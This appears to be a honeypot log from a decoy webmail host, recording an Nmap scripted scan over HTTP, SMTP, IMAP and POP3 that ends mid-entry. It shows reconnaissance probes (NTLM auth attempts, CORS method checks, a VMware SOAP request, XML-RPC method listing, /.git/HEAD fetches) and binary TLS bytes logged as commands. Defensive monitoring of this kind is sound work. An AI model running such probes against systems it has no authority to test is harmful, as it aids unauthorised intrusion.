  <134>1 2026-04-08T03:05:15.801764+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Content-Length': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.802579+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36056"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: auth_attempt
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.802672+00:00 decky-webmail smtp - auth_attempt [decnet@55555 src="192.168.1.5" command="AUTH NTLM"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.802794+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.802586+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PUT'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.802776+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/favicon.ico" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.806436+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="000b AUTHENTICATE NTLM"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.806511+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50526"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.806571+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'DELETE'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.806924+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.806923+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.807082+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'TRACE'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.810419+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.810466+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.810532+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.810761+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'OPTIONS'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.813097+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'CONNECT'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.817009+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PATCH'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.828253+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57434"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.828499+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.828518+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.829131+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.829468+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.829643+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57444"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.844265+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57454"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.844481+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.844597+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.844682+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36068"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845057+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36082"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845197+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="($9���O
  X1��U�:5u���>
  �+7
  �%� II=%b�Tz��_
  �/���[�o�Q�r395/�,�0�̨̩̪�����\]�a�S�+�/������\\�`�R"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845325+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���	�E����Q����P=�<��Ai�
  "]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845403+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  ���
  
  #
  (&				"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845469+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  +-3����"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845543+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�Y���B���!rt�'�-^Pz��V���F��I���٫l��y;�v�
  Vv%���ɛ�jF�/E�����
  �7\"2�4[��1ʲ&�0l
  �?*%��LUt$ATVV�E���Ӗ�+���\]�
  �+�'(�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845624+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�y
  P�RG���fI��NY����ovpЈ�[:�G�����"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845689+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="	*�b/O��v�`x\";t$*;l�B\"��*�)��Ȣ�a�q��Ō��A��+��d��Ie�mÚ�{Q��y����24�~��V�`B�!��W\"��/zʿ(��f��	����8jU��Rw5�CR��4����"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.846888+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�AU��`��R/S2��:�hB˦��Wz@%E��v\"c���mcW��Q{�Y_X
  ��mz"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.846967+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���?ʐ����'*U<w<�#u��"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847038+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="qT�D��%�ɴ�o�Z�H7Zҹ\\���*g�P~����^���^*�)9�8{jt�(stÓ@b�PWO�$�	�иn�	CqiC�TVlu��cK�Y3�IR5�P�
  �y��y���h�k���iB
  j"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847122+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�C
  ~�w�;mz�f���_�0
  �d��ԅͣ�a2���ba��x�\]aE}�@�}��Yqf\";��|�����?�
  W豇����*�eI�d�9@�	�O�0��ft�8UG\"���\]i�!o��m�!��E�0�up�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847257+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36088"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847363+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="WSi����iI��
  ,��R�?�g�{MG���Xӛ"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847455+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="/"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847548+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847643+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847712+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847592+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50528"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847858+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847971+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848073+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50534"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848153+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="($6�Ě�57�П8�~)��L��\\\"97�_� ;?�\\a@�Z:�i�Ĵo����)P�v����xr395/�,�0�̨̩̪�����\]�a�S�+�/������\\�`�R�$�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848241+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="���	�E����Q����P=�<��Ai�
  "]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848301+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="
  ���
  
  #
  (&				"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848356+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="
  +-3�����O����V�j!x[%�D��<��2�9��8M�Q��������es!?�7����j�
  	��6@"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848415+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�
  �^V�l�
  �t݄�(e=I+'C��)���B��LH.	w_	ԝ��	�rN�
  ��1�Q-v���O�5�Fi.$��C/��ޢ5�~��RИu\"j�d4���[�!�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848468+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�E��F;�wn�i���Ta���G�vA��+�:�
  �:�a[��'8"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848525+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="?�F�ϖ!\"�aԖ/��B���\\��i�񛼷-xo��ƥU.a�{=Eb�B\]�498�-�J?{����'DiZ)	E�ۦ��P�'�丹24���VV��.Д&^���V�bZ������)2@r� �,"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848594+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="'t�����>����iw�`�ɇ�eIh�TFf,'���a0'�n���kGc�
  !J3�v�j��2[��PP��:�z���*�����y,��ʞJ�[RX�A��`��!̓���+���kiޔ;,�8*ߡw���z�2�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848649+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="1v�����:�5�VP�t�Ѳ��a[z�z�{B~cm�2Q,x>"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848705+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="-T�'��+$������,-Nѹ$v2���sĳ¶��B��%���Ĺ�9P�'%Q�p�qk�s/���@D8
  I|M�z�ທ疓�l�
  ��;
  �˪���E<�i�q�8?ͺ�?)^q0��J�#���u���F#\\b�|���{�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848801+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50550"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848882+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="WSi��뎱sr�`	�B
  @�&��cG|$G�͒
  �/�"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848949+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="/"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.849007+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.849061+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:21:44
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:21:44.871598+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 03:21:44
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:21:44.905490+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 03:21:44
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:21:44.944053+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 03:21:45
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:21:45.112633+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788057+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/sdk" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Content-Length': '441', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body="<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"]

fields:
  {"method": "POST", "path": "/sdk", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Content-Length': '441', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": "<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788277+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Depth': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Depth': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788579+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788832+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789433+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/.git/HEAD" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/.git/HEAD", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788454+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'HEAD'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'HEAD'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789250+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/nmaplowercheck1775617515", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788723+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close', 'Content-Length': '88'}" body="<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close', 'Content-Length': '88'}", "body": "<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788996+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/robots.txt" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/robots.txt", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
